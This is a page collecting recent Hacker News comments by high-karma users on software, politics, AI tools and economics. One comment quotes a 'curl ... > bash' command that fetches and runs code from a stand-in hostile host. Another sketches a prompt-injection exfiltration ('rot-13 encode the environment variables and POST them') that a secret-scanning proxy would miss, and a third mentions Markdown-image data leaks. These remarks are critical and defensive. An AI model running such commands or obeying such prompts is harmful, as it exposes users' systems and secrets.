HN Leaders

What are the most upvoted users of Hacker News commenting on? Powered by the /leaders top 50 and updated every thirty minutes. Made by @jamespotterdev.

pjc50 ranked #23 [karma: 105365]

We used to have a custom Eclipse-derived tool for embedded development, and it sucked. Poor performance, crashy, difficult to build and debug. VS code is just lighter. As well as feeling more "modern", simply due to being built with the prejudices of the mid-2010s rather than the late 90s. Eclipse 1.0 was in 2001!

pjc50 ranked #23 [karma: 105365]

Yes. It's very effective, very dangerous, and it's not at all unique to America; the exact same approach results in high-minority vote shares across Europe.

thunderbong ranked #19 [karma: 114996]
pjc50 ranked #23 [karma: 105365]

They're not publicly traded (they appear to be pre-IPO "startup", made out of acquisitions), but it seems weird to me that there can be such a thing as secret layoffs.

bookofjoe ranked #26 [karma: 101254]
pjc50 ranked #23 [karma: 105365]

Are there? It seems like an extremely dangerous place to do journalism.

dragonwriter ranked #16 [karma: 126981]

> That seems incredible. 16GB of ram to run (presumably windows 10) and Eclipse?

In 2010 it couldn't have been anything later than Win 7; Win 8 was released in 2012.

pjmlp ranked #18 [karma: 124908]

> To the Unix purist, this might appear wasteful and unnecessary, but macOS isn’t, and never has been, Unix. It’s a closed-source proprietary operating system designed for use by millions of consumers and regular users.

Not only it is a certified UNIX, regardless of the yes and buts being discussed in other threads already, the complaint would apply to all commercial UNIXes, some of them still around not yet killed by Linux.

pjmlp ranked #18 [karma: 124908]

Given how MAGA thinks about people coming from Puerto Rico, I would assert they wouldn't manage to grasp that.

pjmlp ranked #18 [karma: 124908]

Security, it isn't only memory footprint.

pjmlp ranked #18 [karma: 124908]

> In an ideal world, there would be a header-only C library provided by the Linux kernel; we would include that file and be done with it. As it turns out, there is no such file, and interfacing with syscalls is complicated.

Because Linux is the exception, UNIX public API is the C library as defined later by POSIX.

The goal to create C and rewrite UNIX V4 into C was exactly to move away from this kind of platform details.

Also UNIX can be seen as C's runtime, in a way, thus traditionally the C compiler was the same of the platform vendor, there were not pick and chose among C compilers and standard libraries, that was left for non-UNIX platforms.

TeMPOraL ranked #20 [karma: 112980]

Not everyone is in auctions for the game, some people want to actually get the item. Though I imagine there's less and less of them, as most figured out long ago that auctions are a stupid waste of time.

In fact, I'm somewhat angry at sellers setting up auctions if there's no other way to acquire a specific item. Why they won't put a minimum price they're happy to part with some items for, instead of wasting time of a lot of people by withholding target price and pretending they're earning premium through work?

Animats ranked #11 [karma: 159093]

Much of this is an antitrust problem.

The inputs to farming, especially seeds, fertilizer and machinery, are controlled by monopolies and near-monopolies. There have been too many mergers.

On the sell side, there's monopsony or near-monopsony, with very few big buyers.[1] Farmers are caught in the middle, with little pricing power on either side.

There's not much question about this. There are antitrust cases, but with weak penalties and weak enforcement.

[1] https://equitablegrowth.org/competitive-edge-big-ags-monopso...

pjmlp ranked #18 [karma: 124908]

That what stuff like XPC and entitlements are for, which naturally programs from UNIX culture background don't care to use.

pjmlp ranked #18 [karma: 124908]

Living the 80s, I guess the current nostalgia wave across tapes, portable CD players, Vynil and co, also applies to computer interfaces.

Animats ranked #11 [karma: 159093]

When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system.

Sigh. It's so Microsoft to just run random stuff.

Of course, in the Linux world, we have "Install with"

   curl https://www.hostilecode.com > bash

stavros ranked #46 [karma: 75438]

You really do need every single site, as search is a long tail problem. All the interesting stuff is in the fringes, if you only have a few big sites you'll have a search engine of spam.

stavros ranked #46 [karma: 75438]

Unfortunately, cataloguing all the knowledge in the world created new knowledge, leading to a sort of Zeno's paradox of cataloguing.

userbinator ranked #36 [karma: 87725]

Basically a CONNECT proxy? That's definitely not a difficult thing to write.

stavros ranked #46 [karma: 75438]

> And like GOFAI it’s never yielded anything useful

Err, what?

crazygringo ranked #40 [karma: 80796]

I'm not sure if there's a way to make forging work.

You can't forge a new ballot, because ballot IDs are necessarily public, and are cryptographically tied to a voter ID in order to ensure votes are valid and that everybody only votes once.

But it seems like nothing is stopping you from looking up ballots at random until you find the votes you want, and then claiming that was your vote. And if someone else got paid for the same one, then claim they're the one lying, not you?

toomuchtodo ranked #24 [karma: 105347]

Can you not simply require a citation have a DOI? And confirm the DOIs resolve to the citation details provided?

toomuchtodo ranked #24 [karma: 105347]

Might be dead either way, you have jury nullification to rely on if self defense works.

“They didn’t announce and I feared for my life.”

toomuchtodo ranked #24 [karma: 105347]

Thank you for your kind words, happy to help, best wishes. Looking forward to reading what you write next.

userbinator ranked #36 [karma: 87725]

That is a massive red flag to me too. They are basically saying "you are identical to everyone else, and easily replaced."

userbinator ranked #36 [karma: 87725]

Does it really matter? Almost certainly no.

...until they start including things you don't want (remember the CSAM scanning debacle?)

bookofjoe ranked #26 [karma: 101254]
ceejayoz ranked #34 [karma: 87912]

There's a town in Alabama that skipped elections for 60 years; they'd just hand it off to a buddy. Someone finally registered to run and won by default, so ten days later they had a secret do-over to avoid a Black mayor.

https://en.wikipedia.org/wiki/Newbern,_Alabama#Mayoral_dispu...

JumpCrisscross ranked #7 [karma: 175289]

> As the romans said - you need bread and circuses to stay in power

“One thing, however, that I will note that Juvenal does not say is that the panem et circenses are either how the Roman people lost their power or how they are held under the control of emperors. Instead first the people lose their votes (no longer ‘selling’ them), then give up their cares and as a result only wish for panem et circenses, no longer taking an interest in public affairs” [1].

[1] https://acoup.blog/2024/12/20/collections-on-bread-and-circu...

ceejayoz ranked #34 [karma: 87912]

Like they did with asset forefeiture, right? Right?

steveklabnik ranked #28 [karma: 97010]
tptacek ranked #1 [karma: 416116]

That's how it works in Cook County and a lot of other places: it's touchscreen voting, using "ballot marking devices", which produce a paper ballot you hand to an EJ to submit.

toomuchtodo ranked #24 [karma: 105347]
toomuchtodo ranked #24 [karma: 105347]
PaulHoule ranked #25 [karma: 103865]

It’s trained to interact with text transcripts, it is not trained to work with that memory you built for it. If it was trained to do so I might be able to break into the real estate office in ten turns.

crazygringo ranked #40 [karma: 80796]

It seems to meant for end-users like journalists processing files individually like e-mail attachments.

It doesn't seem to be meant for usage at scale -- it's not for general-purpose conversion, as the resulting files are huge, will have OCR errors, etc.

jacquesm ranked #2 [karma: 237182]

That was still one of the best finds on HN in a long time.

https://grugbrain.dev/

Carson Gross sure knows how to stay in character.

TeMPOraL ranked #20 [karma: 112980]

That still makes ethics a human thing, not universe thing. I believe we do have some ethical intuition hardwired into our welfare, but that's not because they transcend humans - that's just because we all run on the same brain architecture. We all share a common ancestor.

JumpCrisscross ranked #7 [karma: 175289]

It looks like this enzyme uses NAD+ as a substrate?

pjmlp ranked #18 [karma: 124908]

The original Lisp in 1958 had only lists, by the 1970's many implementations already had all other key datastructures like arrays and hashes.

anigbrowl ranked #27 [karma: 98462]

Consider cosmetics. Historically regarded as pure marketing, not technology. Lipstick and moisturizer. The kind of industry you’d expect governments to ignore entirely.

I don't know about that. I can think of a ~2000 year old Chinese story about an entrepreneur who came across a village where everyone had unchapped hands and faces despite it being winter. It turns out they had made an ointment from some local bush. The point of the story is that the guy guys as much of it as he can and then carries a few valleys away to where an army is encamped and they're suffering from the cold, and he trades the ointment for an estate.

I think a big reason other countries (and especially the US) keep underestimating China is neglecting the fact that they've had a more or less contiguously operating state for millennia.

anigbrowl ranked #27 [karma: 98462]

If you click on the name there is a pop up with explanations and keystroke listing

crazygringo ranked #40 [karma: 80796]

> that they think is related to some undetermined future nebulously bad thing

I mean, Anna's Archive was pretty clear about the future bad thing.

Spotify didn't "think", it wasn't just "related", nothing was "undetermined" or "nebulous".

Anna's Archive explicitly announced they were going to start distributing Spotify's music files. It's not even a case of hosting links to torrents but not seeding -- no, they were going to be doing the seeding too. You can't get more clear-cut than that.

I'm not taking anybody's side here, as to what copyright law ought to be, but Spotify isn't abusing the legal process here.

toomuchtodo ranked #24 [karma: 105347]

https://en.wikipedia.org/wiki/Deaths_linked_to_chatbots

We should fix the shortage of healthcare practitioners, not hand folks a fancy search engine and say "problem solved." Would you put forth "Google your symptoms" as a solution to this same problem? The token output is fancy, the confidence in accuracy is similar.

dragonwriter ranked #16 [karma: 126981]

> Do illegals (and that is an honest question) benefit from constitutional rights?

Generally, yes. There are rights that are protected only for citizens (e.g., voting rights), but most Constitutional rights restrain what the government can do to people, an are not keyed to citizenship, or to residency status. It is particularly important that due process rights are not keyed to status, because otherwise simply by presuming a status that is not entitled to due process, the government could absolve themselves of the requirement to prove that you actually had the status in question, and proceed directly to the sanctions associated with the status.

> And, lastly, where was the outrage here on HN when, in 2015, Obama awarded a Presidential Rank Award to Tom Homan (the same Tom Homan) for how he handled the millions (!) of deportations under Obama?

The deportations under Obama were manifestly handled differently than under Trump, so one could very consistently object to the latter and not object, or not object as strenuously, to the former.

> By now under Trump only 20% of the number of illegals that Obama deported have been deported.

The main objections have never been to the number of people lawfully subject to deportation who have been deported.

simonw ranked #30 [karma: 95368]

I think this is a bad look for OpenAI. Their log viewer should not be rendering Markdown images in a way that can leak data to third parties, and closing this report as "not applicable" mainly tells me that their triage process for BugCrowd is flawed and decisions are being made there by people who don't understand the consequences of this kind of bug.

bookofjoe ranked #26 [karma: 101254]
dragonwriter ranked #16 [karma: 126981]

Not only was eBay v. Bidder's Edge technically after Google existed, not before, more critically the slippery-slope interpretation of California trespass to chattels law the District Court relied on in it was considered and rejected by the California Supreme Court in Intel v. Hamidi (2003), and similar logic applied to other states trespass to chattels laws have been rejected by other courts since; eBay v. Bidder's Edge was an early aberration in the application of the law, not something that established or reflected a lasting norm.

ceejayoz ranked #34 [karma: 87912]

> Could AI really do much worse than the status quo?

Yes? https://en.wikipedia.org/wiki/Politician%27s_syllogism

dragonwriter ranked #16 [karma: 126981]

The US Customary system is not the Imperial system. Though they are frequently confused, since they share a bunch of units, and even more names of units with different definitions.

Animats ranked #11 [karma: 159093]

Is there a solid source for this?

Vimeo laid off most of their operation in Israel recently.[1] At least according to "www.calcalistech.com", which seems to be some minor news source in Israel. Their comment was that the office was damaged in a recent war. Rebuilding may not have been worth it.

Their headquarters is in New York.

[1] https://www.calcalistech.com/ctechnews/article/sjtjgbabzx

toomuchtodo ranked #24 [karma: 105347]
JumpCrisscross ranked #7 [karma: 175289]

> What happens if the beam is obstructed for a brief moment (plane, kite, ufo, etc..)?

Same as with any dropped packet.

dragonwriter ranked #16 [karma: 126981]

JPEG XL is the thing that makes your JPEG smaller?

jacquesm ranked #2 [karma: 237182]

Eurobonds. It may actually happen if this continues. But given the speed of the usual EU decision process I would not be surprised if it takes them longer than the current US administration to finally agree on the various terms. And that's good for Europe in multiple ways.

https://commission.europa.eu/strategy-and-policy/eu-budget/e...

In the meantime: German, Dutch, UK (technically not EU), Swiss, Nordic paper is also a good substitute and regardless all you really want to do here is not to hold an asset that may well become a liability so in that sense almost anything is better.

TeMPOraL ranked #20 [karma: 112980]

I still remember the mod scene in original StarCraft (+ Brood War) - it got to the point of supplying alternative AI algorithms, and there were plenty of non-cheating ones that were a noticeable step up in difficulty. At that point I already played competitively with friends and on-line, so they were only very challenging to me; for a new player, or someone casually doing the single player campaign, or just me a year earlier, they'd be impossible to beat.

simonw ranked #30 [karma: 95368]

One of my biggest unlocks has been embracing Claude Code for web - the cloud version - and making sure my projects are setup to work with it.

I mainly work in Python, and I've been ensuring that all of my projects have a test suite which runs cleanly with "uv run pytest" - using a dev dependency group to ensure the right dependencies are installed.

This means I can run Claude Code against any of my repos and tell it "run 'uv run pytest', then implement ..." - which is a shortcut for having it use TDD and write tests for the code it's building, which is essential for having coding agents produce working code that they've tested before they commit.

Once this is working well I can drop ideas directly into the Claude app on my iPhone and get 80% of the implementation of the idea done by the time I get back to a laptop to finish it off.

I wrote a bit about "uv run pytest" and dependency groups here: https://til.simonwillison.net/uv/dependency-groups

jacquesm ranked #2 [karma: 237182]

Ahh, the True Scotsman equivalent of not quite an ally. FFS man, at least own your words and stop weaseling, I have absolutely no problem with figurative language, I was speaking English before you were born.

TeMPOraL ranked #20 [karma: 112980]

I recently became much more pro-total-unification, so let me give you this counterpoint: individually, European nations are no match to the major superpowers, neither economically nor militarily. We'll get gutted by divide-and-conquer approach. In contrast, bound much closer together (particularly with some form of pan-european armed forces), the EU would become a proper global superpower and a counterbalance for the USA and China.

anigbrowl ranked #27 [karma: 98462]

That only punishes the taxpayers after all.

I am sick to the back teeth of this narrative that all grievances can be resolved into currency and that paying this hurts taxpayers. We can jail negligent or reckless public officials, the financial costs of investigating and compensating people are an economic incentive to promulgate better standards in the first place.

paxys ranked #42 [karma: 78217]

Apple had a chance to break Google's search monopoly, but they chose to take billions from them instead.

Microsoft had a chance (well another chance, after they gave up IE's lead) to break up Google's browser monopoly, but they decided to use Chromium for free instead.

Ultimately all these decisions come down to what's more profitable, not what's in the best interests of the public. We have learned this lesson x1000000. Stop relying on corporations to uphold freedoms (software or otherwise), becuase that simply isn't going to happen.

pseudolus ranked #6 [karma: 182347]
steveklabnik ranked #28 [karma: 97010]

Here's the discussion from back in the day when this changed: https://news.ycombinator.com/item?id=837698

In practice, people generally didn't even vote with two options, they voted with one!

IIRC youtube did even get rid of downvotes for a while, as they were mostly used for brigading.

crazygringo ranked #40 [karma: 80796]

> Those mac minis make a great little server box but losing 8GB to hundreds of processes

It doesn't matter because all the extra stuff just goes to swap. And you can't disable virtual memory anyways. So in the end you're not really losing anything. Those hundreds of processes are ultimately basically mostly just using up a little bit of your SSD, not your RAM, so it's not a concern.

simonw ranked #30 [karma: 95368]

Makes sense, Amanda Askell confirmed that the leaked soul document was legit and said they were planning to release it in full back when that came out: https://x.com/AmandaAskell/status/1995610567923695633

tptacek ranked #1 [karma: 416116]

I'm not saying this product is good or bad, because I have no idea, but this is priced too low for it's claimed value prop, not too high. 25% of a decked out developer Macbook for something that sets the look and feel of an app and forestalls an entire designer hire is an unseriously low price.

I'm not saying the product is unserious; just that developers are generally unserious about pricing.

WalterBright ranked #41 [karma: 78537]

> Every time I listed a new product for a different TV remote, my item would be flagged, but then I would go in and make a small edit, and that seemed to trigger some sort of review, and everything would be great.

They may have a filter for people who exceed a certain number of flags?

crazygringo ranked #40 [karma: 80796]

> Crappy as a .jpg, only bigger.

Honestly, that's exactly what it sounds like to me too. I know it's not, but it's still what it sounds like. And it's just way too many letters total. When we have "giff" and "ping" as one-syllable names, "jay-peg-ex-ell" is unfortunate.

Really should have been an entirely new name, rather than extending what is already an ugly acronym.

TeMPOraL ranked #20 [karma: 112980]

There are so many things wrong with the points this article repeats, but those are soundbites at this point so I'm not sure one can even argue against them anymore.

Still, for the one about organic data (or "pre-war steel") drying out, it's not a threat to model development at all. People repeating this point don't realize that we already have way more data than we need. We got to where we are by brute-forcing the problem - throwing more data at a simple training process. If new "pristine" data were to stop flowing now, we still a) have decent pre-trained base models, and a dataset that's more than sufficient to train more of them, and b) lots of low-hanging fruits to pick in training approaches, architectures and data curation, that will allow to get more performance out of same base data.

That, and the fact that synthetic data turned out to be quite effective after all, especially in the latter phases of training. No surprise there, for many classes of problems this is how we learn as well. Anyone who has experience studying math for maturity exam / university entry exams knows this: the best way to learn is to solve lots of variations of the same set of problems. These variations are all synthetic data, until recently generated by hand, but even their trivial nature doesn't make them less effective at teaching.

crazygringo ranked #40 [karma: 80796]

> But they disagree on which of those is "good design" in which context.

Which is why I literally said there are different schools of design.

> I'm not totally sure what this means but it sounds incredibly dubious to state as fact and there are no doubt heavily used fonts that don't do it.

If you don't know one of the most elemental rules of typography, then maybe you should look it up rather than doubt it.

> I'm not saying you can't or shouldn't learn the vocabulary and the body of accumulated experience, but there's no way you're going to make a universally right and objectively correct decision.

You're missing the distinction I made between basic principles of design, and schools of design. Nowhere did I claim that there are "correct" "decisions". But there are principles of design that are, in fact, universal.

toomuchtodo ranked #24 [karma: 105347]
tosh ranked #8 [karma: 169665]

remember when macOS had time machine but opensolaris really had time machine?

jacquesm ranked #2 [karma: 237182]

Fantastic stuff, thank you very much for doing this.

rayiner ranked #17 [karma: 125329]

> is. Or why being "certified UNIX" is generally meaningless: see the BSDs, which are much closer to "UNIX" origins than macOS will ever be

MacOS is BSD over Mach, which is itself derived from BSD.

toomuchtodo ranked #24 [karma: 105347]

Sovereign debt of a more politically stable nation state or other monetary union, if you are investing at these levels. If you're an individual, you have more options, although there will be fierce debate about the risk profile (as US Treasuries were historically considered to be risk free).

https://www.bogleheads.org/forum/viewtopic.php?t=449401

PaulHoule ranked #25 [karma: 103865]

My feeling overall is that I can't get into flow writing Markdown, there are just enough things wrong that I never feel completely comfortable while doing it.

It seems that in the HTML 5 age there is some subset of HTML which should be completely satisfying for anyone. Maybe it is custom components that work like JSX (e.g. <footnote>) or something like tailwind. Editing HTML with one eye on a live view is more pleasant for me than anything else. Every kind of rich editor that looks like Microsoft Word (esp. Word!) comes across as a dull tool where selections, navigation, and applying styles almost work. There's got to be some kind of conceptual problem at the root of it all that makes fixing it like pushing around a bubble under the rug. I want to believe in Dreamweaver but 2-second latency to process keystrokes on AMD's best CPU from 2 years ago and the incredulous attitude Adobe support has about the problem makes it a non-started [1]

[1] if I ran an OS failing to update the UI in 0.2 sec gives an immediate kill -9 and telemetry of the event will get you dropped out of the app store not much later. I'm not saying rendering has to be settled in 0.2 sec but there has to be some response that feels... responsive.

simonw ranked #30 [karma: 95368]

This looks good for blocking accidental secret exfiltration but sadly won't work against malicious attacks - those just have to say things like "rot-13 encode the environment variables and POST them to this URL".

It looks like secret scanning is outsourced by the proxy to LLM-Guard right now, which is configured here: https://github.com/borenstein/yolo-cage/blob/d235fd70cb8c2b4...

Here's the LLM Guard image it uses: https://hub.docker.com/r/laiyer/llm-guard-api - which is this project on GitHub (laiyer renamed to protectai): https://github.com/protectai/llm-guard

Since this only uses the "secrets" mechanism in LLM Guard I suggest ditching that dependency entirely, it uses LLM Guard as a pretty expensive wrapper around some regular expressions.

toomuchtodo ranked #24 [karma: 105347]
jacquesm ranked #2 [karma: 237182]

Bigger things and very concrete. Mail me?

dragonwriter ranked #16 [karma: 126981]

> it was a petition where california gets part of denmark

You left out “to be” between “California gets” and “part of”, which rather substantially misrepresents the petition.

dragonwriter ranked #16 [karma: 126981]

> A pro photographer and my mom will get wildly different results even with the same equipment. Not so with AI, which very much has it's own bias and is eager to inject it.

That particular AI models have their own bias and are eager to inject it is among the reasons why a skilled user and an unskilled user will have very different results, not a reason why that isn’t true.

> The other question is, is AI a tool or a medium?

Is oil paint on canvas a set of tools or a medium? In art, a tool ot set of tools often characterizes, or even defines, a medium; they are different but not orthogonal concerns. (And the cultural phenomenon of identification of a regularly-used tool or combination of tools as defining a medium generally only happens well after that tool or combination has been in significant use for a while.)

AI is a broad category of tools. Particular combinations of those (either with eachother or with other tools) may also come to be be understood as particular media.

rbanffy ranked #5 [karma: 184915]

Not for radio telescopes, but how is the current state of optical interference? Would it help if we didn't have to use adaptive optics to compensate for atmospheric turbulence (and have subtly different images at the different telescopes)?

PaulHoule ranked #25 [karma: 103865]

None of the above. I use Junie to help code and think I am writing better code if not writing it faster.

Copilot also helps me transform into a fox and I have all kinds of KPI for that (e.g. got petted) but as-a-fox or otherwise I reject that there is anything 10x about it.

If you think you are 10x more productive coding before I implore you to look at it from the viewpoint of your team. I've been the guy who picks up projects that were "80% done" and had to do the last 80%. What gets me is the inconsistency, the times it does something better than I would do myself instantly vs the times I want it touch 2 files and it modified 35 and I can't tell what the hell it was thinking and frankly don't care.

jedberg ranked #45 [karma: 76838]

How much AI is too much? Are you allowed to use Photoshop to create your digital art? Almost every tool there is now powered by AI in some way (some a lot more than others). Can you use its auto-fill button? What percent of the image can you use it for?

Can you generate something with AI and then manually edit it in Photoshop? How much manual editing is required before it's not considered AI anymore?

My point is, AI is another tool in the toolbox, it can be used well or poorly. How much is too much? Just like back in the day, using Photoshop wasn't allowed, until it was.

Where does one draw the line?

paxys ranked #42 [karma: 78217]

This is simply to enter the recruiting pipeline. once you're in you will do the same leetcode interviews as everyone else.

JumpCrisscross ranked #7 [karma: 175289]

> My point is that Trump is actually probably more representative of the median voter than Biden or any other previous president has been

Why? You haven’t actually argued that point.

JumpCrisscross ranked #7 [karma: 175289]

> Scott is about to find out

Unless the Danes and Europeans are willing to personally sanction Bessemer, I don’t think he will. He’s going to make hundreds of millions if not billions from his stint at Treasury.

nostrademons ranked #38 [karma: 82026]

Also bears all the hallmarks of an ordinary post (by someone fairly educated) on the Internet. This would make sense, because LLMs were trained on lots of ordinary posts on the Internet, plus a fair number of textbooks and scientific papers.

JumpCrisscross ranked #7 [karma: 175289]

> and Uber is actually safer than their statistics claim

I’m not sure I’m reaching that conclusion. (Possibly because I don’t want to.)

I was once in an accident due to a New York cabbie being on their phone. Blew through a stop sign and got T-boned. When I’m in a car with a distracted driver, now, I tend to report it after the trip.

Uber sometimes lets me do this. And sometimes it does not. When it does not, when I escalate to a safety issue (Uber will sometimes call the sheriff before putting anyone on the thread, they’re that cheap and dismissive), I am making the record reflect louder than a chat with support would. But the underlying jeopardy is both real and unchanged.

So are Uber rides safer than the figures reflect? Or was their lack of safety controls previously mollified by customer service? I’m not drawing a conclusion on that delineation. Just pointing out the effect.

bookofjoe ranked #26 [karma: 101254]
mooreds ranked #35 [karma: 87833]

Interesting. It'd be stronger if you didn't make claims that just aren't true. For example:

> Three months later when someone asks "why did we switch from X to Y?", I have the full rationale documented. Not just the decision, but the alternatives considered and why we rejected them.

But you just started 3 weeks ago. So what you really meant is:

> Three months later when someone asks "why did we switch from X to Y?", I will have the full rationale documented. Not just the decision, but the alternatives considered and why we rejected them.

But all in all inspiring. I am going to take a swing at my own executive assistant using opencode (with Claude under the hood).

bookofjoe ranked #26 [karma: 101254]

crypto, AI/LLM... what's next in this progression?

rayiner ranked #17 [karma: 125329]

> Uber drivers in particular seem a vulnerable group, which makes forcing this a bit 'icky'.

You seem to be redefining the word “vulnerable” to mean the opposite. Uber drivers disproportionately are men without full time jobs. That pool of people almost certainly has a higher likelihood of criminal behavior than the population as a whole. Assuming finger printing actually works (which I’m not sure), they’re exactly the people who should have more scrutiny.

bookofjoe ranked #26 [karma: 101254]
PaulHoule ranked #25 [karma: 103865]

I would say "Civic institutions function in ways that degrade and are likely to destroy ... civic institutions"

pjc50 ranked #23 [karma: 105365]

That used to be possible with a carefully curated Twitter feed, then a series of bad decisions made that impossible.

It's no longer even the case that reason helps. Wonkery has got run over by mass emotion.

bookofjoe ranked #26 [karma: 101254]
pjc50 ranked #23 [karma: 105365]

Legality is meaningless unless it's backed by force, as people are finding out all over the place.

TeMPOraL ranked #20 [karma: 112980]

> I'm at a level where I'm going "This can't just be me not having read the manual".

Sure it can, because nobody is reading manuals anymore :).

It's an interesting exercise to try: take your favorite tool you use often (that isn't some recent webshit, devoid of any documentation), find a manual (not a man page), and read it cover to cover. Say, GDB or Emacs or even coreutils. It's surprising just how much powerful features good software tools have, and how much you'll learn in short time, that most software people don't know is possible (or worse, decry as "too much complexity") just because they couldn't be arsed to read some documentation.

> I just can't get past the actual tool use. In fact, I don't think I'm even at the stage where the AI output is even the problem yet.

The tools are a problem because they're new and a moving target. They're both dead simple and somehow complex around the edges. AI, too, is tricky to work, particularly when people aren't used to communicating clearly. There's a lot of surprising problems (such as "absurd method of applying changes") that come from the fact that AI is solving a very broad class of problems, everywhere at the same time, by virtue of being a general tool. Still needs a bit of and-holding if your project/conventions stray away from what's obvious or popular in particular domain. But it's getting easier and easier as months go by.

FWIW, I too haven't developed a proper agentic workflow with CLI tools for myself just yet; depending on the project, I either get stellar results or garbage. But I recognize this is only a matter of time investment: I didn't have much time to set aside and do it properly.

pjc50 ranked #23 [karma: 105365]

You also need portability. As I understand it there's no problem with having a Delaware corp but all your staff and operations being in California, for example. I do not believe this is the case all across the EU! And some localities can have quite onerous formation requirements for no good reason (anything involving notaries, for example - 19th century solution to 19th century problems).